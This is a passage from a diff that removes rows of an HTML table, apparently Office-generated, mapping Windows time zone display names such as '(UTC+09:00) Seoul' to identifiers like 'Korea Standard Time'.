-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Arab Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Moscow, St. Petersburg, Volgograd<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Russian Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Nairobi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. Africa Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:30) Tehran<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Iran Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Abu Dhabi, Muscat<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Arabian Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Baku<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Azerbaijan Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Port Louis<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mauritius Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Tbilisi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Georgian Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Yerevan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Caucasus Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:30) Kabul<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Afghanistan Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:00) Ekaterinburg<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Ekaterinburg Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:00) Islamabad, Karachi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pakistan Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:00) Tashkent<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>West Asia Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:30) Chennai, Kolkata, Mumbai, New Delhi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>India Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:30) Sri Jayawardenepura<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Sri Lanka Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:45) Kathmandu<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Nepal Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:00) Astana<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Asia Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:00) Dhaka<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Bangladesh Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:00) Novosibirsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>N. Central Asia Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:30) Yangon (Rangoon)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Myanmar Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+07:00) Bangkok, Hanoi, Jakarta<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SE Asia Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+07:00) Krasnoyarsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>North Asia Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>China Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Irkutsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>North Asia East Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Kuala Lumpur, Singapore<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Singapore Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Perth<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>W. Australia Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Taipei<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Taipei Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Ulaanbaatar<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Ulaanbaatar Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:00) Osaka, Sapporo, Tokyo<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Tokyo Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:00) Seoul<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Korea Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:00) Yakutsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Yakutsk Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:30) Adelaide<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Cen. Australia Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:30) Darwin<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>AUS Central Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Brisbane<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. Australia Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Canberra, Melbourne, Sydney<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>AUS Eastern Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Guam, Port Moresby<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>West Pacific Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Hobart<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Tasmania Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Vladivostok<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Vladivostok Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+11:00) Magadan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Magadan Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+11:00) Solomon Is., New Caledonia<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Pacific Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+12:00) Auckland, Wellington<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>New Zealand Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+12:00) Coordinated Universal Time+12<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC+12</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+12:00) Fiji<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Fiji Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+13:00) Nuku'alofa<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
